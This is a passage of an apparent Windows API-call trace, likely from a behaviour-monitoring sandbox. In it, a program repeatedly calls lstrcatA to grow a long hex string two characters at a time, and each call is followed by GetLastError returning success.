returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833de"
	[0061.654] GetLastError () returned 0x0
	[0061.654] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833de", lpString2="bf" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf"
	[0061.654] GetLastError () returned 0x0
	[0061.654] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf", lpString2="0b" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b"
	[0061.654] GetLastError () returned 0x0
	[0061.654] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b", lpString2="9d" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d"
	[0061.654] GetLastError () returned 0x0
	[0061.654] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d", lpString2="31" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d31") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d31"
	[0061.654] GetLastError () returned 0x0
	[0061.654] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d31", lpString2="35" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135"
	[0061.655] GetLastError () returned 0x0
	[0061.655] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135", lpString2="ae" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae"
	[0061.655] GetLastError () returned 0x0
	[0061.655] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae", lpString2="00" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae00") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae00"
	[0061.655] GetLastError () returned 0x0
	[0061.655] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae00", lpString2="2e" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002e") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002e"
	[0061.655] GetLastError () returned 0x0
	[0061.655] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002e", lpString2="b2" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb2") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb2"
	[0061.655] GetLastError () returned 0x0
	[0061.655] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb2", lpString2="21" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221"
	[0061.655] GetLastError () returned 0x0
	[0061.655] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221", lpString2="e4" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4"
	[0061.655] GetLastError () returned 0x0
	[0061.655] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4", lpString2="96" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e496") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e496"
	[0061.655] GetLastError () returned 0x0
	[0061.655] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e496", lpString2="69" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e49669") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e49669"
	[0061.655] GetLastError () returned 0x0
	[0061.655] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e49669", lpString2="53" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953"
	[0061.655] GetLastError () returned 0x0
	[0061.655] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953", lpString2="f4" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f4") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f4"
	[0061.655] GetLastError () returned 0x0
	[0061.655] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f4", lpString2="6f" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46f") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46f"
	[0061.655] GetLastError () returned 0x0
	[0061.655] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46f", lpString2="cb" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcb") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcb"
	[0061.655] GetLastError () returned 0x0
	[0061.655] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcb", lpString2="d3" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd3") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd3"
	[0061.656] GetLastError () returned 0x0
